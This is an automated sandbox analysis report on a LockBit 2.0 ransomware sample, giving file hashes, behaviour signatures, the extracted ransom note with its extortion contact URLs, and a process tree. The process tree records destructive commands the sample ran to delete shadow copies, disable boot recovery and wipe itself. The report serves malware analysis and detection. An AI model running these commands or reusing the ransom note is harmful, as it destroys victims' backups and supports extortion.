Overview

overview

10

Static

static

10

0715240d1a...ce.exe

windows7-x64

9

07fec2205c...42.exe

windows7-x64

10

10dc6e128c...c0.exe

windows7-x64

3

133bf8be0c...de.exe

windows7-x64

10

139a8bb2c5...c1.exe

windows7-x64

10

19f7d53c4a...a0.exe

windows7-x64

10

2896b38ec3...9c.exe

windows7-x64

10

2d301697ff...f4.exe

windows7-x64

3337576503...d8.exe

windows7-x64

3

3e04fe9f42...f1.exe

windows7-x64

10

3e6fbc358e...45.exe

windows7-x64

10

3f7458e658...df.exe

windows7-x64

434ea9832e...27.exe

windows7-x64

10

47792144c9...6f.exe

windows7-x64

10

5114aae6e8...8c.exe

windows7-x64

10

537a2fd4d2...ba.exe

windows7-x64

3

55754358dd...1c.exe

windows7-x64

1

5b1caa9bec...c1.exe

windows7-x64

1

60c24a4c6b...21.exe

windows7-x64

9

63396a28b7...cc.exe

windows7-x64

9

78d4fce0c2...2e.exe

windows7-x64

3

7c27b9fef6...33.exe

windows7-x64

3

81689f1be9...ed.exe

windows7-x64

10

995a91e668...55.exe

windows7-x64

10

9d90421b2e...56.exe

windows7-x64

10

a597d34bc2...40.exe

windows7-x64

10

a5e6df754a...d1.exe

windows7-x64

10

add2850732...6b.exe

windows7-x64

10

b098486c49...0d.exe

windows7-x64

10

b923f1d2ec...ed.exe

windows7-x64

10

bbdac308d2...4b.exe

windows7-x64

9

c3fb821138...c1.exe

windows7-x64

9

Analysis

  • max time kernel
    1556s
  • max time network
    1558s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    16-07-2024 08:54

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    19f7d53c4a9ba784fd4c64a06fc6a88caf5a4d9913341a625582d51b1c095ba0.exe

  • Size

    959KB

  • MD5

    fec0ba68b3118f490dbee9dc5cc382d4

  • SHA1

    c5a76c237314d970fb5acfc118c1f1109d012704

  • SHA256

    19f7d53c4a9ba784fd4c64a06fc6a88caf5a4d9913341a625582d51b1c095ba0

  • SHA512

    4c202c11503607baa0fccc23223933eaf1ffe052607f46f3d596520ced90359d1bcf1369ce335d4b63de9c221cf137d6354ce88fead6e3164c54903c8e20f81c

  • SSDEEP

    24576:uLjr3s2nScu1i1tz3f++5kRzFxk7rMxNeR1R9qpdMF:Ujrc2So1Ff+B3k796W

Score
10/10
lockbitdefense_evasiondiscoveryevasionexecutionimpactpersistenceransomware

Malware Config

Extracted

Path

C:\Program Files\Java\jdk1.7.0_80\db\Restore-My-Files.txt

Ransom Note
LockBit 2.0 Ransomware Your data are stolen and encrypted The data will be published on TOR website http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion and https://bigblog.at if you do not pay the ransom You can contact us and decrypt one file for free on these TOR sites http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion OR https://decoding.at Decryption ID: AE664DC084E03AFD23403FA7DF4D8D7D
URLs

http://lockbitapt6vx57t3eeqjofwgcglmutr3a35nygvokja5uuccip4ykyd.onion

https://bigblog.at

http://lockbitsup4yezcd5enk5unncx3zcy7kw6wllyqmiyhvanjj352jayid.onion

http://lockbitsap2oaqhcun3syvbqt6n5nzt7fqosc6jdlmsfleu3ka4k2did.onion

https://decoding.at

Signatures

  • Lockbit

    Ransomware family with multiple variants released since late 2019.

    ransomwarelockbit
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

    discovery
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Deletes itself 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in System32 directory 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Suspicious use of NtSetInformationThreadHideFromDebugger 22 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies Control Panel 2 IoCs
    evasion
  • Modifies registry class 3 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 33 IoCs
  • Suspicious use of AdjustPrivilegeToken 45 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\19f7d53c4a9ba784fd4c64a06fc6a88caf5a4d9913341a625582d51b1c095ba0.exe
    "C:\Users\Admin\AppData\Local\Temp\19f7d53c4a9ba784fd4c64a06fc6a88caf5a4d9913341a625582d51b1c095ba0.exe"
    1⤵
    • Adds Run key to start application
    • Enumerates connected drives
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Drops file in Program Files directory
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2348
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2812
      • C:\Windows\system32\vssadmin.exe
        vssadmin delete shadows /all /quiet
        3⤵
        • Interacts with shadow copies
        PID:1300
      • C:\Windows\System32\Wbem\WMIC.exe
        wmic shadowcopy delete
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:1096
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:2324
      • C:\Windows\system32\bcdedit.exe
        bcdedit /set {default} recoveryenabled no
        3⤵
        • Modifies boot configuration data using bcdedit
        PID:1916
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C ping 127.0.0.7 -n 3 > Nul & fsutil file setZeroData offset=0 length=524288 "C:\Users\Admin\AppData\Local\Temp\19f7d53c4a9ba784fd4c64a06fc6a88caf5a4d9913341a625582d51b1c095ba0.exe" & Del /f /q "C:\Users\Admin\AppData\Local\Temp\19f7d53c4a9ba784fd4c64a06fc6a88caf5a4d9913341a625582d51b1c095ba0.exe"
      2⤵
      • Deletes itself
      • Suspicious use of WriteProcessMemory
      PID:2512
      • C:\Windows\SysWOW64\PING.EXE
        ping 127.0.0.7 -n 3
        3⤵
        • Runs ping.exe
        PID:2880
      • C:\Windows\SysWOW64\fsutil.exe
        fsutil file setZeroData offset=0 length=524288 "C:\Users\Admin\AppData\Local\Temp\19f7d53c4a9ba784fd4c64a06fc6a88caf5a4d9913341a625582d51b1c095ba0.exe"
        3⤵
          PID:1768
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2928

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Program Files\Java\jdk1.7.0_80\db\Restore-My-Files.txt
      Filesize

      512B

      MD5

      1cd8d1953da110cf39f04122f1262980

      SHA1

      4842f956f38bb22c3fc5d8e7f5dd9e4c9535a6a6

      SHA256

      8c154f28cac1eaac74286c11dad9167d94070699a44cdd2c42df5c4a8d7e271b

      SHA512

      d6767a8953aa25b13c127664f34fcfd1d4fb531825ab540319841ed03fd957429af6cce5dd44e6aa9025b4c75611a2b6923dab7f54d29d1a384775253a5a41f3

      Download Submit